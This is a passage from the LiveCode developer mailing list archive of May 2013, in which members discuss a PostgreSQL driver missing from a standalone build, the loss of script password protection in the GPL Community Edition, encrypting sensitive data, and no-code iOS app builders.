editor. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bonnmike at gmail.com Wed May 1 18:03:44 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Wed, 1 May 2013 16:03:44 -0600 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: <51819075.4030902@hyperactivesw.com> References: <193259056987.20130430214613@ahsoftware.net> <51819075.4030902@hyperactivesw.com> Message-ID: Also, if its a splashstack type with a separate stack file the separate file could be opened in the ide. On Wed, May 1, 2013 at 4:00 PM, J. Landman Gay wrote: > On 5/1/13 4:02 PM, Dr. Hawkins wrote: > >> On Wed, May 1, 2013 at 1:55 PM, Peter Haworth wrote: >> >> Maybe I'm misunderstanding the requirement here, but aren't you sending >>> this application out as a standalone? If so the issue of password >>> protecting the scripts is moot since it only applies to running stacks in >>> the IDE. >>> >>> >> Yes, but if I send it out without the password protection, anyone could >> open it with the IDE, couldn't they? >> > > You can't open standalones in the IDE. But the scripts of unprotected > standaones can still be read if opened in a text editor. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From pete at lcsql.com Wed May 1 18:05:08 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 1 May 2013 15:05:08 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: On Wed, May 1, 2013 at 2:02 PM, Dr. Hawkins wrote: > Yes, but if I send it out without the password protection, anyone could > open it with the IDE, couldn't they? > I don't think so - standalones are the same as any other executables, they have compiled code in them, not scripts. Anyway, best to concentrate on your db open problem first I guess. Pete lcSQL Software From pete at lcsql.com Wed May 1 18:13:01 2013 From: pete at lcsql.com (Peter Haworth) Date: Wed, 1 May 2013 15:13:01 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> <51819075.4030902@hyperactivesw.com> Message-ID: On Wed, May 1, 2013 at 3:03 PM, Mike Bonner wrote: > Also, if its a splashstack type with a separate stack file the separate > file could be opened in the ide. > Right, forgot about that Pete lcSQL Software From jacque at hyperactivesw.com Wed May 1 18:14:09 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 17:14:09 -0500 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <518193B1.7040000@hyperactivesw.com> On 5/1/13 4:55 PM, Timothy Miller wrote: > Is LiveCode turning its back on users like me? Will I regret my > modest contribution to the kickstarter fund? They've been pretty up-front about the omission of the security module, it was in the Kickstarter materials. Security can't be in the community version. If it was, it would be worthless; anyone could read the algorithm and use it to unlock protected stacks made with the commercial version. Code protection would be broken everywhere. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Wed May 1 18:21:16 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 1 May 2013 15:21:16 -0700 Subject: revOpenDatabase acting differently in IDE and standalone In-Reply-To: References: <193259056987.20130430214613@ahsoftware.net> Message-ID: On Wed, May 1, 2013 at 2:11 PM, Mike Bonner wrote: > Another thought, (again 98% sure this isn't the issue but..) If the > standalone builder picks and chooses db support based on code it sees in > the stack, and if you are using a splash stack, or your db code is in a > substack/external stack, is it possible that the standalone builder is just > not including the postgres dll? To test this theory you might go into the > standalone settings and manually pick your inclusions, checking database > support and selecting postgresql. Even if everything is in the main stack > it wouldn't hurt to test it this way as an elimination step. > Winner! It seems that months ago, I manually selected what would get included, and did this before working with postgres. Oh, and it only works in 5.5.4; 6.0 still has issues with it and fails. Thank you, so very much. And thank you to everyone else, too. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From lfredricks at proactive-intl.com Wed May 1 18:29:37 2013 From: lfredricks at proactive-intl.com (Lynn Fredricks) Date: Wed, 1 May 2013 15:29:37 -0700 Subject: Valentina Studio, Valentina Reports & Valentina ADK for LiveCode Upgraded to 5.2 Message-ID: Hello all, The short form is that we've updated all products with some great new features. Don't forget that Valentina Studio is FREE, and now handles MariaDB (from the creator of MySQL), MySQL, PostgreSQL, SQLite and Valentina, and it can now dump in JSON format. Valentina Studio is available for Mac OS X, Linux and Windows. Valentina Studio PRO isn't free, but it also has a powerful REPORTS builder for use with embedded Valentina Reports in LiveCode and Valentina Server (even the free version). All our products come with 12 months of free updates. Read below for details. Best regards, Lynn Fredricks President Paradigma Software http://www.paradigmasoft.com Valentina SQL Server: The Ultra-fast, Royalty Free Database Server ============================================================================ === Free Valentina Studio 5.2 adds JSON, MariaDB Support, Usability Features Paradigma Software announces the release of visual database and reports tool Valentina Studio 5.2 and the enterprise reports and database server Valentina Server 5.2 for Windows, Mac OS X and Linux. Paradigma Software announces the release of Valentina Studio 5.2 plus updates to the Valentina product line. Valentina Studio 5.2 lets you manage, query and administer popular databases including MySQL, Postgre, SQLite and Valentina DB. Valentina Studio 5 is available for Mac OS X, Windows and Linux for free. - New JSON format text-based dump of Database, Table and SQL results, as a simple dump or as an Export - Execute in the SQL Editor several SELECT queries at once and have the results appear in separate tabs - Show a list of all supported SQLite Extensions - Improved Favorites - now you can more easily modify, order and change saved Favorite SQL Queries - MariaDB Support added to existing MySQL support Valentina Server, Valentina Reports ADK and Valentina Studio MySQL support now utilize MariaDB libraries. It is now possible for the powerful Valentina Reports features of Valentina Server to work with MariaDB, the replacement data store for MySQL. Valentina Studio Pro 5.2 has additional features over Valentina Studio, including Query Builder, SQL DIFF, database diagramming and a powerful visual Reports Designer. Reports generated from Valentina Studio 5 can be exported as web pages, PDF and images. Valentina Studio Pro is available for $199. Developer solutions for local applications allow incorporating the ultra fast Valentina DB and Valentina Reports engines into desktop applications and cost $199 per platform. Valentina ADK 5.2 (application developer kits) for Valentina DB and Valentina Reports integrate the new features available in the Valentina kernel. Valentina Reports 5.2 ADK integrates visual reports into applications built with XCode / Cocoa, LiveCode, C/C++ and all major development environments. Valentina Reports 5 supports connectivity to MySQL / MariaDB, Valentina DB, Postgre, SQLite and ODBC data sources, with royalty free deployment. Valentina DB 5.2 ADK allows developers to build applications with XCode / Cocoa, LiveCode, C/C++ and all major development environments that incorporate the ultra fast, modern Valentina DB and to connect to remote Valentina Server, with royalty free deployment. All products are immediately available from the Paradigma Software website at http://www.paradigmasoft.com. About Paradigma Software Paradigma Software launched its first product, the post-relational, columnar database technology Valentina, based on the groundbreaking work of Ruslan Zasukhin in advanced database research. Mr Zasukhin's research was to develop a database system that bypassed the severe constraints on traditional relational database systems as they grow in size and complexity. Valentina maximizes available resources by making data based tasks of millions of items extremely fast and efficient. Paradigma Software Incorporated was established in 1998 in Beaverton, Oregon. Paradigma Software has additional offices for development and sales in Germany and Japan. From ambassador at fourthworld.com Wed May 1 18:36:14 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 01 May 2013 15:36:14 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> References: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <518198DE.3060809@fourthworld.com> Timothy Miller wrote: > Is LiveCode turning its back on users like me? Not at all. All previous versions of LiveCode were commercial versions, and all those features and more are available in v6.0 of the Commercial Edition. Nothing's changed there. The Community Edition is what's new, a version of LiveCode available under the GPL for those who wish to also distribute their works under the GPL. Since the GPL requires sharing source, script encryption is logically incompatible with any GPL-governed work. If sharing your source code is one of your project's goals, the Community Edition is a great new option. And if you need to keep your code proprietary you can still use the Commercial Edition under its proprietary license, just as we always have. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From monte at sweattechnologies.com Wed May 1 18:39:52 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 2 May 2013 08:39:52 +1000 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: On 02/05/2013, at 7:57 AM, stephen barncard wrote: > If it's for your own use, why do you need to protect you stacks at all? You > don't trust yourself? That was going to be my question. The only thing I can think of is for using it as some kind of security feature for data which it's not designed or useful for. Use encrypt instead.... Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From jacque at hyperactivesw.com Wed May 1 18:46:57 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 17:46:57 -0500 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <51819B61.7030802@hyperactivesw.com> On 5/1/13 5:39 PM, Monte Goulding wrote: > > On 02/05/2013, at 7:57 AM, stephen barncard > wrote: > >> If it's for your own use, why do you need to protect you stacks at >> all? You don't trust yourself? > > That was going to be my question. The only thing I can think of is > for using it as some kind of security feature for data which it's not > designed or useful for. Use encrypt instead.... US government restrictions require that certain types of data be secured. (I know what Timothy's stack is about.) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From gcanyon at gmail.com Wed May 1 19:05:58 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 1 May 2013 18:05:58 -0500 Subject: How is this in the app store In-Reply-To: <5181894F.7090300@hyperactivesw.com> References: <51814541.8050008@hyperactivesw.com> <5181894F.7090300@hyperactivesw.com> Message-ID: setting aside the question of code, it's not quite what you're saying, and it doesn't work the way rev does. 1. I installed their player app on my iPhone and hooked it up with my account on their site. 2. On my mac, in a web browser on their site, I created a new project. 3. Specified that it was for iPhone. 4. Configured everything. No code, but many interesting features. I chose a template this time, and I was absolutely able to create a credible restaurant application: pictures of food, a menu with links to individual descriptions and prices, a map, phone and email links, social media links, etc. 5. Every few seconds the IDE said that it had saved the app. 6. On my iPhone, open their app. It lists the "apps" I've created in the IDE on my Mac. 7. Open the "app" I just created. 8. I'm browsing through my restaurant's application on my iPhone. 9-??? submit to the app store. No signing, no keys, no hassle, five minutes, tops, from "I want to make an app" to "Look, there's my app running on my iPhone." No code is a dealbreaker, obviously, but still, this is pretty magical tech. gc On Wed, May 1, 2013 at 4:29 PM, J. Landman Gay wrote: > On 5/1/13 3:34 PM, Geoff Canyon wrote: > >> This is an iOS tool. It makes it *totally* simple. I literally went to >> their web site, initiated an app, created a few screens with minor >> interaction, installed their runtime iOS app, and was reviewing my app on >> my iPhone two minutes later (had to sign up by email etc.) But I think I >> answered my question at the same time: there is no code. >> >> None. At. All. >> >> I don't know how this is in any way useful, slick as it is. Maybe they're >> planning to add code. But for now, just to give one example, you can have >> a >> scrolling list, but the data in that list comes from the configuration you >> give it when you design it. You can't even specify a data source, you >> literally need to configure it in the dev environment. >> >> If they don't change that, I don't know how this is useful. If they do, I >> don't know how Apple won't kill this. >> > > I didn't get very far because you can't go past their front page without > signing up, and that page doesn't give any info. But the picture looks like > it's a tool for the Mac that creates iOS apps. So what I meant was, it > isn't creating code on an iPhone, it's creating code on a Mac and then > installing it on an iPhone just like we do. > > Only...there's no code apparently so it's all moot. How odd. > > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From magicfab at member.fsf.org Wed May 1 19:10:04 2013 From: magicfab at member.fsf.org (Fabian Rodriguez) Date: Wed, 01 May 2013 19:10:04 -0400 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <518193B1.7040000@hyperactivesw.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> Message-ID: <5181A0CC.9060800@member.fsf.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 2013-05-01 18:14, J. Landman Gay wrote: > Security can't be in the community version. If it was, it would be > worthless; anyone could read the algorithm and use it to unlock > protected stacks made with the commercial version. Code protection > would be broken everywhere. It could be, but perhaps RunRev hasn't figured out a business model to make that viable yet. Mind you, anyone could implement another similar or better protection. What would be its purpose? Every single non-free "software protection" mechanism can be broken, given enough motivation (or boredom). Keep in mind the current protection in LiveCode is just an implementaiton of DRM, or revenue protection, under a model that is the opposite of what free open source software proposes. F. - -- Fabi?n Rodr?guez http://fsf.magicfab.ca -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) Comment: PGP/Mime available upon request Comment: Using GnuPG with undefined - http://www.enigmail.net/ iEYEARECAAYFAlGBoMwACgkQfUcTXFrypNW8ggCeL40lk/qS9cZeo71RbG9sqQiS rIcAnR4HYBrCOdWIhus+5s8KBchdqa9Z =4wd4 -----END PGP SIGNATURE----- From gandalf at doctorTimothyMiller.com Wed May 1 19:17:06 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:17:06 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <518198DE.3060809@fourthworld.com> References: <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518198DE.3060809@fourthworld.com> Message-ID: On May 1, 2013, at 3:36 PM, Richard Gaskin wrote: > Timothy Miller wrote: >> Is LiveCode turning its back on users like me? > > Not at all. > > All previous versions of LiveCode were commercial versions, and all those features and more are available in v6.0 of the Commercial Edition. Nothing's changed there. I have paid $50 to $100, give or take, for several major upgrades to LiveCode, and Runtime Revolution before that, and Revolution Media before that, always for the Macintosh-only version. I was not offered an upgrade to the commercial version. I was notified automatically that a new version of LiveCode, 6.0.1 was available. This is apparently the non-commercial version. I just spent some time puzzling over the blazingly commercial and completely non-intuitive interface of the RunRev.com. As far as I can tell, the commercial version costs $500. If so, don't tell me "Nothing's changed..." Perhaps I misunderstood. I would not hesitate to pay another fee of $50 to $100 for the commercial version. TM From gandalf at doctorTimothyMiller.com Wed May 1 19:20:34 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:20:34 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <518193B1.7040000@hyperactivesw.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> Message-ID: <1A194299-FAB5-400B-98D2-62DFC007161B@doctorTimothyMiller.com> On May 1, 2013, at 3:14 PM, J. Landman Gay wrote: > They've been pretty up-front about the omission of the security module, it was in the Kickstarter materials. Security can't be in the community version. If it was, it would be worthless; anyone could read the algorithm and use it to unlock protected stacks made with the commercial version. Code protection would be broken everywhere. I guess I'll start using FileVault. That'll get her done. TM From gandalf at doctorTimothyMiller.com Wed May 1 19:20:59 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:20:59 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> Message-ID: <6E74CC7A-DAB6-44CC-826E-61A5DFF37889@doctorTimothyMiller.com> On May 1, 2013, at 2:57 PM, stephen barncard wrote: > If it's for your own use, why do you need to protect you stacks at all? You > don't trust yourself? Nobody likes a smart aleck. From monte at sweattechnologies.com Wed May 1 19:21:18 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 2 May 2013 09:21:18 +1000 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <51819B61.7030802@hyperactivesw.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <51819B61.7030802@hyperactivesw.com> Message-ID: <5E978387-F7A5-43BE-8FD1-EB485F81B7EF@sweattechnologies.com> On 02/05/2013, at 8:46 AM, "J. Landman Gay" wrote: > US government restrictions require that certain types of data be secured. (I know what Timothy's stack is about.) So? That doesn't mean the stack needs to be password protected. Just the data encrypted. Most data isn't even protected by the password protection. He would need to be encoding data as script constants. Unless he's doing that he's really not complying with the regulations because anyone can get LC and get the data. Use the encrypt/decrypt commands and prompt the user for the password. Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From gandalf at doctorTimothyMiller.com Wed May 1 19:24:40 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:24:40 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <518193B1.7040000@hyperactivesw.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> Message-ID: <347C783C-811C-4666-8D47-6E93CFF5FB1E@doctorTimothyMiller.com> On May 1, 2013, at 3:14 PM, J. Landman Gay wrote: > They've been pretty up-front about the omission of the security module, it was in the Kickstarter materials. Security can't be in the community version. If it was, it would be worthless; anyone could read the algorithm and use it to unlock protected stacks made with the commercial version. Code protection would be broken everywhere. I don't completely understand that. Apparently, the general idea is that it couldn't be helped and LiveCode is not turning its back on me. Not being a computer professional, I didn't read every line of the Kickstarter materials. Any other gotchas in the non-commercial version? TM P.S. Sorry for the multiple brief replies on the same subject. I know that's not ideal. From ambassador at fourthworld.com Wed May 1 19:25:41 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 01 May 2013 16:25:41 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: Message-ID: <5181A475.8070200@fourthworld.com> Timothy Miller wrote: > I have paid $50 to $100, give or take, for several major upgrades > to LiveCode, and Runtime Revolution before that, and Revolution Media > before that, always for the Macintosh-only version. > > I was not offered an upgrade to the commercial version. I was > notified automatically that a new version of LiveCode, 6.0.1 was > available. This is apparently the non-commercial version. > > I just spent some time puzzling over the blazingly commercial and > completely non-intuitive interface of the RunRev.com. As far as I can > tell, the commercial version costs $500. If so, don't tell me > "Nothing's changed..." In terms of capabilities, nothing's changed. But yes, the pricing for the Commercial Edition has changed. Most developers were coding for multiple platforms, and by the time you add up all the platforms from their formerly-complex pricing structure it wound up that most of us were paying far more than $500 every year, while a relative few who developed for single platforms were paying less. So in your case, I can understand why you would prefer the old pricing structure. But if you're developing a commercial app, is $500 truly prohibitive to have an engine as capable as LiveCode doing so much of the work? And if it's not commercial, why not use the Commercial Edition? As Monte pointed out, the encrypt and decrypt functions can be used to protect data, and much more securely than the method used for stack protection. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From stephenREVOLUTION2 at barncard.com Wed May 1 19:39:36 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 1 May 2013 16:39:36 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <5181A475.8070200@fourthworld.com> References: <5181A475.8070200@fourthworld.com> Message-ID: Well, here's another smart-aleck question while I'm feeling randy. Are there script limits in the Community edition? sqb Stephen Barncard San Francisco Ca. USA more about sqb From gandalf at doctorTimothyMiller.com Wed May 1 19:47:59 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:47:59 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <5181A475.8070200@fourthworld.com> References: <5181A475.8070200@fourthworld.com> Message-ID: On May 1, 2013, at 4:25 PM, Richard Gaskin wrote: > In terms of capabilities, nothing's changed. > > But yes, the pricing for the Commercial Edition has changed. > > Most developers were coding for multiple platforms, and by the time you add up all the platforms from their formerly-complex pricing structure it wound up that most of us were paying far more than $500 every year, while a relative few who developed for single platforms were paying less. I'm not a developer. Is the LC business model is moving away from DIY users like me? I started out as a HyperCard retread, never really matured beyond that. > > So in your case, I can understand why you would prefer the old pricing structure. > > But if you're developing a commercial app, is $500 truly prohibitive to have an engine as capable as LiveCode doing so much of the work? If one is developing a commercial app, $500 may not be truly prohibitive. I wouldn't know. (I did once try to write a commercial app in Basic on my Atari, possibly a 1200XL. Didn't work out...) > As Monte pointed out, the encrypt and decrypt functions can be used to protect data, and much more securely than the method used for stack protection. Gotta confess, I know nothing about the encrypt and decrypt functions. Never heard of them. Maybe I can get them to work -- will look them up. Or maybe I'll just use FileVault. I always planned to learn how to use FileVault, never got around to it. When I send or save the stacks on the cloud, I can encrypt the stacks some other way. I need security beyond the startup password, in case of loss or theft of computer, etc. Thanks, Richard. TM From gandalf at doctorTimothyMiller.com Wed May 1 19:48:55 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Wed, 1 May 2013 16:48:55 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: <5181A475.8070200@fourthworld.com> Message-ID: <4C6A63F2-52E4-41B9-B04C-DBBAA5CC1210@doctorTimothyMiller.com> On May 1, 2013, at 4:39 PM, stephen barncard wrote: > Well, here's another smart-aleck question while I'm feeling randy. Are > there script limits in the Community edition? I have no idea. Don't even know what a script limit is. Feel better now? TM From ambassador at fourthworld.com Wed May 1 20:02:48 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 01 May 2013 17:02:48 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: References: Message-ID: <5181AD28.6050504@fourthworld.com> Timothy Miller wrote: > I'm not a developer. Is the LC business model is moving away from DIY > users like me? Very much the opposite: the Community Edition finally brings all the benefits of a mature, robust xTalk to the masses, allowing the entire world to enjoy the language and its object model at no cost, truly free and open. To make this viable as a dual-licensed product the GPL is a good choice, but with that choice comes a responsibility to preserve The Four Freedoms: to use a program, to share it, to modify it, and to share your modifications. Those freedoms are inherited by everything that uses a GPL-governed work. When sharing is your goal the GPL is a great option, and we'll likely see a great many new libraries and tools for educators, hobbyists and other communities spring up from all this. The only downside is for the edge cases like yours where stack protection was used for purposes beyond keeping code proprietary, but it seems we're on the way to a useful solution here: > Gotta confess, I know nothing about the encrypt and decrypt > functions. Never heard of them. Maybe I can get them to work > -- will look them up. I think you'll be pleasantly surprised by how easy they are to work with once you get the hang of it. Time well spent considering how powerful they are for providing truly industrial-strength protection. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mwieder at ahsoftware.net Wed May 1 20:17:58 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 2 May 2013 00:17:58 +0000 (UTC) Subject: Password protection in non-commercial 6.0.1 References: <5181A475.8070200@fourthworld.com> Message-ID: stephen barncard writes: > > Well, here's another smart-aleck question while I'm feeling randy. Are > there script limits in the Community edition? No. There are no script limits and the limits on the number of frontscripts etc have also been removed. -- Mark Wieder mwieder at ahsoftware.net From igor at semperuna.com Wed May 1 20:51:11 2013 From: igor at semperuna.com (Igor de Oliveira Couto) Date: Thu, 2 May 2013 10:51:11 +1000 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> <5181894F.7090300@hyperactivesw.com> Message-ID: <037C0168-EA2F-49D9-84AF-6C970C6B922E@semperuna.com> On 02/05/2013, at 9:05 AM, Geoff Canyon wrote: > No code is a dealbreaker, obviously, but still, this is pretty magical tech. I haven't signed up or used the app, but from the intro video it looks like its building an html5-based app. It did not seem to be very innovative, as there are even online tools that do something similar, with varying features - such as: http://ibuildapp.com http://www.appmakr.com http://www.theappbuilder.com http://www.appbreeder.com http://appbaker.com And if you've got a bit of money to spare...: http://appsify.me Just like 'iWeb' and 'RapidWeaver' are suitable for non-developers to produce brochure-style websites, these tools seem to be adequate for a non-programmer to produce a 'brochure-style' app. However, as soon as you want to start including custom functionality or logic, it often becomes more cumbersome (or costly) to stick with these 'basic' tools, than to abandon them, and start using something more powerful and flexible. But while we're talking about creating iOS apps *on* iOS, have a look at: http://twolivesleft.com/Codea/ Kind regards to all, -- Igor Couto Sydney, Australia From peterwawood at gmail.com Wed May 1 22:19:35 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Thu, 2 May 2013 10:19:35 +0800 Subject: How is this in the app store In-Reply-To: <51814541.8050008@hyperactivesw.com> References: <51814541.8050008@hyperactivesw.com> Message-ID: On 2 May 2013, at 00:39, J. Landman Gay wrote: > I thought the "no executable code" rule was only for iOS? I don't think that there is a "no executable code" rule on iOS but there are restrictions on what the code can do. You can buy a basic interpreter for iOS through iTunes - https://itunes.apple.com/us/app/basic!/id362411238?mt=8 I think that there may be other languages too. Regards Peter http://LiveCode1001.blogspot.com From dochawk at gmail.com Wed May 1 22:23:49 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 1 May 2013 19:23:49 -0700 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <5181A0CC.9060800@member.fsf.org> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> <5181A0CC.9060800@member.fsf.org> Message-ID: On Wed, May 1, 2013 at 4:10 PM, Fabian Rodriguez wrote: > > On 2013-05-01 18:14, J. Landman Gay wrote: >> Security can't be in the community version. If it was, it would be >> worthless; anyone could read the algorithm and use it to unlock >> protected stacks made with the commercial version. Code protection >> would be broken everywhere. > > It could be, but perhaps RunRev hasn't figured out a business model to > make that viable yet. No; this is incorrect. It isn't a business model, but a programming model. To put this ability in the community version would put the ability to decrypt *every* livecode file out there in everyone's hands. To be able to execute the stack, the engine has to be able to decrypt, and has to have the key. The source to that section has the key. "Angry" would not begin to describe my reaction under such circumstances. I would be sitting down with my partners to make a decision whether to sue on my behalf for the time that I put in, or whether to find another plaintiff for the class action on behalf of all developers, or even possibly both. Again, the simple version is that if the encryption/password code is released, my work can be read by anyone. This is *not* what I contracted for when I payed for the full developer version. I'm not even flinching at the $1k/year. > Mind you, anyone could implement another similar or better protection. > What would be its purpose? Every single non-free "software protection" > mechanism can be broken, given enough motivation (or boredom). If someone put in similar or better protection, and released the code to do it, they would have released the code to beat it. And if, somehow, they programmed around *that*, there is still the matter that the GPL would require him to release this code (which is the nature of "viral" licenses such as the GPL, as opposed to "public" license such as BSD--and this is why viral license are used as part of such "special rights" licenses. > Keep in mind the current protection in LiveCode is just an > implementaiton of DRM, or revenue protection, That's not what is normally meant by "DRM". RunRev protecting this version is no different than any other software publisher (including myself) expecting to be paid. > under a model that is > the opposite of what free open source software proposes. In Stallman's universe, in which copyright is an evil, perhaps. For those of us that write software to sell, however, it's another story. Making an open source version is a business decision. It has nothing into buying into any ideology or worldview; it's about the bottom line. And, quite frankly, if RunRev started making noises about releasing that code, I'd be in court for an injunction stopping them before they could . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From monte at sweattechnologies.com Thu May 2 00:27:06 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Thu, 2 May 2013 14:27:06 +1000 Subject: matching colors to image colors on iOS Message-ID: <43CCA3EA-0BDA-47E7-98DC-FDB72DEDF7D4@sweattechnologies.com> I've got a background graphics I'm trying to match to the background color of an image and it looks perfect on the desktop but when run in the simulator the image is quite a bit lighter. Is there any Scott Rossi style trick... Tried setting the paintCompression to png to see if that made any difference. Cheers -- M E R Goulding Software development services Bespoke application development for vertical markets mergExt - There's an external for that! From jacque at hyperactivesw.com Thu May 2 00:37:12 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 01 May 2013 23:37:12 -0500 Subject: Password protection in non-commercial 6.0.1 In-Reply-To: <347C783C-811C-4666-8D47-6E93CFF5FB1E@doctorTimothyMiller.com> References: <39D05ABD-F9A7-4A4C-A9A7-049036C757AF@doctorTimothyMiller.com> <23F2A509-8A94-4484-AA98-01762126D10E@doctorTimothyMiller.com> <7553ED77-5BFA-4571-90FB-CE1B4023B6BD@doctorTimothyMiller.com> <518193B1.7040000@hyperactivesw.com> <347C783C-811C-4666-8D47-6E93CFF5FB1E@doctorTimothyMiller.com> Message-ID: 